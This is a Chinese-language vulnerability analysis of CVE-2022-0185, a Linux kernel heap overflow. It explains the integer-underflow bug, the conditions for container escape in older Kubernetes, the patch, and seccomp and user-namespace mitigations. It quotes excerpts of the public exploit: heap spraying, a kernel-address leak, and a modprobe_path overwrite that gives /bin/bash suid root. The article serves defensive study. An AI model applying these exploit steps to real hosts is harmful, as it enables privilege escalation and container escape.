Linux内核漏洞——CVE-2022-0185分析与思考

一、简介

CVE-2022-0185是一个Linux内核中”File System Context”中的一个堆溢出漏洞，攻击者可以利用该漏洞发起DDoS攻击，实现容器逃逸和提升至主机权限。该漏洞是在Google KCTF（基于Kubernetes的CTF）漏洞赏金计划中被Crusaders of Rust[1]团队的成员Jamie Hill-Daniel和William Liu发现[2]的，研究员因此获得了31337美元的奖励。截止本文发文之时，NVD官网[3]尚未给出CVSS相关评分，但根据容器逃逸和权限提升的危害和已公开的漏洞利用代码来看，最终评分等级应该为high级别。

据William所言，存在问题的代码于2019年3月在5.1-rc1版本中被引入Linux内核，直至2022年1月18日（5.16.2版本），官方才发布补丁修复该漏洞。然而要想成功利用CVE-2022-0185却并不容易，William在博客中用大量篇幅来讲述漏洞发现的过程和整个利用链的过程，感兴趣的读者可以阅读博客[4]。本文的目的之一是希望读者能够理解该漏洞的原理，作为云安全从业者，能够做好针对性的检测和防御工作。下面笔者将给出理解该漏洞所需的背景知识，然后对该漏洞进行分析，并给出相关缓解和修复方案，最后思考该漏洞的防御工作。

免责声明：本文中提到的漏洞利用代码和分析皆已在github仓库[5]和研究员博客中公开，仅供研究交流使用，请遵守《网络安全法》等相关法律法规，切勿将其用于未授权渗透测试。

二、背景知识

1、Filesystem Context

Filesystem Context是在创建Superblock的挂载和重新配置时使用的[6]。Superblock记录了一个文件系统的特征，包括它的大小、区块大小、空的和已填充的区块及其各自的计数、inode表的大小和位置、磁盘区块图和使用信息，以及区块组的大小。

2、Capabilities——CAP_SYS_ADMIN

Capabilities机制是在Linux内核2.2版本之后引入的，它的出现是为了对root权限进行更细粒度的控制，实现按需授权。常见的capability所允许的操作或行为如下表所示[7]：

capability 名称	描述
CAP_CHOWN	改变文件的所属者(chown())
CAP_KILL	向进程发送信号(kill(), signal())
CAP_SETUID	改变进程的uid(setuid(), setreuid(), setresuid()等)
CAP_SYS_PTRACE	trace进程(ptrace())
CAP_SYS_ADMIN	提供系统管理员级别的操作

本文需要关注的是CAP_SYS_ADMIN，它提供众多命令的权限，如mount(2)，umount(2)，clone(2) 和 unshare(2)等。

3、Seccomp——Docker与Kubernetes的区别

Seccomp 全称Secure computing mode，意为安全计算模式，自 2.6.12 版本以来一直是 Linux 内核的功能。它可以用来对进程的特权进行沙盒处理，从而限制了它可以从用户空间向内核进行的调用。只有当Docker在构建时使用了Seccomp，并且内核在配置时启用了CONFIG_SECCOMP，这个功能才可用。可以用以下命令来检查当前环境是否支持Seccomp：

grep CONFIG_SECCOMP= /boot/config-$(uname -r)

当使用Docker运行一个容器时，它会使用默认的配置文件[8]，除非使用–security-opt参数来指定自定义配置文件。该配置文件是一个允许列表，它默认拒绝访问系统调用，只有列表中的系统调用可以执行，一些重要的系统调用如clone，ptrace，unshare等都默认禁止在Docker中执行，如图1所示：

被禁用的原因在官方文档[9]有所说明，感兴趣的可以阅读了解。

但在早先版本（1.22版本之前）的Kubernetes集群中使用Docker时，Seccomp机制却是默认禁用的。在Kubernetes集群中创建一个普通的Pod资源，检查Seccomp机制的状态和Pod内部系统调用的执行情况，如图2所示：

可以看到Seccomp的状态值为0，代表禁用状态。

自1.22版本开始，Kubernetes引入了SeccompDefault特性，用来增强集群环境内的安全性。当该特性启用时，kubelet将默认使用由容器运行时定义的RuntimeDefault Seccomp配置文件，限制集群环境内的系统调用。

三、漏洞分析

1、漏洞成因

该漏洞发生Filesystem Context处理legacy参数时，由fs/fs_context.c的legacy_parse_param函数中存在的整数下溢引起，问题源码如下：

if (len > PAGE_SIZE - 2 - size)       

      return invalf(fc, "VFS: Legacy: Cumulative options too large");

if (strchr(param->key, ',') ||   

(param->type == fs_value_is_string &&    

memchr(param->string, ',', param->size)))       

return invalf(fc, "VFS: Legacy: Option '%s' contained comma",                      

param->key);

if (!ctx->legacy_data) {       

ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);       

if (!ctx->legacy_data)                

return -ENOMEM;}

在第551行（代码中加粗部分）存在一个边界检查，如果（len>PAGE_SIZE – 2 – size），将返回一个错误；但当size大小为4095或更大时，因为PAGE_SIZE是4Kb ，无符号减法PAGE_SIZE – 2 – size的计算结果将是一个巨大的正值，该正值大于len，所以检查将不会触发，然后就会有一个越界写入（在第566行）：

ctx->legacy_data[size++] = ',';

len = strlen(param->key);

memcpy(ctx->legacy_data + size, param->key, len);

size += len;

if (param->type == fs_value_is_string) {      

ctx->legacy_data[size++] = '=';

}

因此通过向有漏洞的函数发送超过4095字节的数据，可以绕过输入长度检查，导致越界写入。这使得攻击者可以写到内存的其他部分，导致系统崩溃或运行任意代码从而实现容器逃逸或权限提升。

2、漏洞利用条件

该漏洞在宿主机上用于提升权限时，暂未发现利用的前提条件，只需以非root用户执行代码即可。

若用于容器逃逸，因为容器环境的安全隔离机制，需要判断容器内的环境是否满足一定条件。公开的利用链中包括特权系统调用，如fsopen（），因此需要攻击者拥有CAP_SYS_ADMIN capability（在任何命名空间），但该capability往往在容器以特权启动时被授予，或者添加–cap-add=SYS_ADMIN参数授予，并不会广泛出现。然而，该capability可以通过unshare系统调用获得。unshare系统调用会将进程分配至新的namespace，如在容器内部使用unshare -U命令可以使用户进入一个新的user namespace，由于Linux capability继承的机制，新的namespace拥有全部的capabilities，也包括CAP_SYS_ADMIN。通过上文的背景知识可以了解到比较矛盾的是，在Docker容器中，因为Seccomp机制的限制，unshare系统调用会被禁止，所以此种方法在普通业务容器中并不适用。但当处于低版本（1.22版本之前）的Kubernetes集群环境中，在默认配置情况下，非特权用户可以在Pod内部顺利执行unshare系统调用。因此，CVE-2022-0185用来容器逃逸的场景主要限于低版本Kubernetes集群环境。

四、漏洞利用

漏洞发现团队在GitHub仓库公开了漏洞利用代码，其中fuse版本是针对5.11.0-44内核版本的本地权限提升代码。它不会直接返回一个root shell，而是使/bin/bash添加suid权限，该脚本利用思路大致如下：

1. 使用堆溢出来调整msg_msg的size，调用msgrcv()读内存，触发越界读取（注：调用msgrcv()读取内核数据时，带上MSG_COPY标志避免unlink时崩溃），接着使用open(“/proc/self/stat”, O_RDONLY)的技巧喷射许多seq_operations结构，尝试读取该结构泄露的指针，由此获得内核基址，并计算出modprobe_path地址：

uint64_t do_leak ()

{   

  ......   

// 喷射msg_msg对象   

  for (int i = 0; i < 8; i++)     

{       

    memset(buffer, 0x41+i, sizeof(buffer));       

    targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       

    send_msg(targets[i], message, size - 0x30, 0);   

}    

 

memset(pat, 0x42, sizeof(pat));   

pat[sizeof(pat)-1] = '\x00';       

......   

strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");   

for (int i = 0; i < 117; i++)     

{       

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);   

}        

 

// 尝试用msg_msg对象引起越界读取   

puts("[*] Overflowing...");   

   pat[21] = '\x00';   

   char evil[] = "\x60\x10";   

   fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);    

 

   // 喷射更多msg_msg    

   for (int i = 8; i < 0x10; i++)     

   {       

      memset(buffer, 0x41+i, sizeof(buffer));       

      targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       

      send_msg(targets[i], message, size - 0x30, 0);   

   }    

 

   fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);    

 

   puts("[*] Done heap overflow");   

   puts("[*] Spraying kmalloc-32");   

   for (int i = 0; i < 100; i++)     

   {       

      open("/proc/self/stat", O_RDONLY);   

   }    

 

   size = 0x1060;   

   puts("[*] Attempting to recieve corrupted size and leak data");    

 

   // 检查是否可以得到泄露的内核基址   

   for (int j = 0; j < 0x10; j++)     

   {       

     get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);        kbase = do_check_leak(recieved);       

   if (kbase)         

   {           

     close(fd);           

     return kbase;       

     }   

   }    

     puts("[X] No leaks, trying again");   

     return 0;

}

2. 然后利用作者提出的利用msg_msg对象进行任意地址读和写技术[11][12]，该技术需要用到userfaultfd技术，但从内核11版本开始，非特权的userfaultfd默认是禁用的，所以作者在此引入了FUSE技术来替代，用任意地址写来实现用自定义的脚本覆盖modprobe_path：

void do_win()

{   

  ......   

  puts("[*] Prepaing fault handlers via FUSE");   

  int evil_fd = open("evil/evil", O_RDWR);   

  if (evil_fd < 0)   

  {       

    perror("evil fd failed");       

    exit(-1);   

  }   

  if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)   

  {      

    perror("mmap fail fuse 1");    

    exit(-1);   

  }   

 

  pthread_t thread;   

  int race = pthread_create(&thread, NULL, arb_write, NULL);   

  if(race != 0)   

  {       

    perror("can't setup threads for race");   

  }   

  send_msg(target, rooter, size - 0x30, 0);   

 pthread_join(thread, NULL);  

  munmap((void *)0x1337000, 0x1000);  

  munmap((void *)0x1338000, 0x1000);   

  close(evil_fd);   

  close(fd);}

3. 最后使用execve触发modprobe，利用modprobe_path覆写技术，成功赋予/bin/bash suid权限：

void modprobe_hax()

{   

  puts("[*] Attempting to trigger modprobe");   

 execve(modprobe_trigger, NULL, NULL);   

  return;

}

脚本成功利用后可使用bash -p获得root权限。

要想使利用代码适用不同的内核版本，还需调整代码中single_start和modprobe_path的偏移量。

kctf版本代码可实现在GKE环境中完成容器逃逸，但是并不是100%可以成功，利用代码主要依赖FUSE和SYSVIPC弹性对象来实现任意写入。该版本代码若要适用不同的集群环境，需要修改的内容较多，本文暂不赘述。

除了”Crusaders of Rust “团队的利用代码，还有另一位研究人员发表了漏洞利用代码和技术分析文章[12]，同样详细讲述了漏洞的利用过程，感兴趣的读者可以阅读。

五、补丁分析

查看官方针对此漏洞的补丁[13]，修复后的代码如下：

fs/fs_context.c

@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)                               param->key);       

    }        

   if (size + len + 2 > PAGE_SIZE)                

           return invalf(fc, "VFS: Legacy: Cumulative options too large");      

   if (strchr(param->key, ',') ||          

      (param->type == fs_value_is_string &&

修复方案较为简单，仅将之前的减法运算变更为加法，即条件判断改为size + len + 2 > PAGE_SIZE，就可以解决这个问题。

六、漏洞修复与缓解

用户可以升级Linux kernel到5.16.2版本来修复该漏洞。但是该修复版本并不适用于所有Linux发行版，包括那些使用Linux kernel开发的系统。对于这些暂时没有可用补丁的系统，建议用户禁用非特权用户命名空间。

在Ubuntu系统中，可以使用以下命令来禁用非特权用户命名空间：

sysctl -w kernel.unprivileged_userns_clone=0

Red Hat 用户可以使用以下命令来禁用用户命名空间：

echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf

sysctl -p /etc/sysctl.d/userns.conf

对于在Amazon EKS，Azure AKS和Google GKE环境的用户，可以通过更新节点镜像的方式修复漏洞[14]。

七、防范措施

了解漏洞的原理和利用条件之后，便可以从利用链的不同环节去防范此漏洞的利用。除了升级内核或更新补丁外，还可以用以下方法进行防范：

1. 在容器环境中启用Seccomp机制，确保unshare系统调用的禁用。
2. 对于低版本的Kubernetes环境，可以禁用非特权用户命名空间，具体参考上文中漏洞修复中步骤。
3. 对于22版以上的Kubernetes，可以在资源创建时使用SecurityContext添加默认的Seccomp或AppArmor配置文件，以保护任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用运行时默认Seccomp配置限制Pod使用unshare系统调用，具体配置方法如下：

apiVersion: v1

kind: Pod

metadata:

 name: default-Pod

 labels:

  app: default-Pod

spec:

 securityContext:

  SeccompProfile:

   type: RuntimeDefault     #将Pod的Seccomp类型设置为RuntimeDefault

 containers:

 - name: test

  image: ubuntu

imagePullPolicy: IfNotPresent"

command: [ "/bin/bash", "-c", "--" ]

args: [ "while true; do sleep 30; done;" ]

 securityContext:

  allowPrivilegeEscalation: false

4. 谨慎部署privileged特权容器，谨慎给Pod添加CAP_SYS_ADMIN内核能力。CAP_SYS_ADMIN虽只是众多capabilities中的一种，但其代表的权限略高，据《CAP_SYS_ADMIN: the new root》[15]中介绍，许多开发者会在授权capability时不知道如何细分，最终选择CAP_SYS_ADMIN来满足环境。

八、总结与思考

Linux作为一款免费开源的操作系统，被越来越多的用户和企业使用。正因用户数量大，使用范围广，一旦其内核曝出相关漏洞，往往后果严重。观察近几年曝出的内核相关漏洞，大多数是问题代码存在已久，在和不同的技术融合时，才作为漏洞被研究者挖掘出来。CVE-2022-0185虽已公开利用代码，但因为其利用代码适用性的问题，预测用于“本地权限提升”的可能性要大于容器逃逸。即便如此，由于容器共享宿主机内核的缘故，集群环境中大多数宿主机为Linux系统，云原生环境安全问题仍不容小觑。

希望读者以此文章对该漏洞有更好的了解与认识，建立针对该漏洞的方法和检测机制，共同建设云环境安全。

参考文献

[1] https://cor.team/

[2] https://www.openwall.com/lists/oss-security/2022/01/18/7

[3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185

[4] https://www.willsroot.io/2022/01/cve-2022-0185.html

[5] https://github.com/Crusaders-of-Rust/CVE-2022-0185

[6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context

[7] https://man7.org/linux/man-pages/man7/capabilities.7.html

[8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json

[9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile

[10] https://www.openwall.com/lists/oss-security/2022/01/25/14

[11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html

[12] https://syst3mfailure.io/wall-of-perdition

[13] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756

[14] https://jfrog.com/blog/the-impact-of-cve-2022-0185-linux-kernel-vulnerability-on-popular-kubernetes-engines/

[15] https://lwn.net/Articles/486306/

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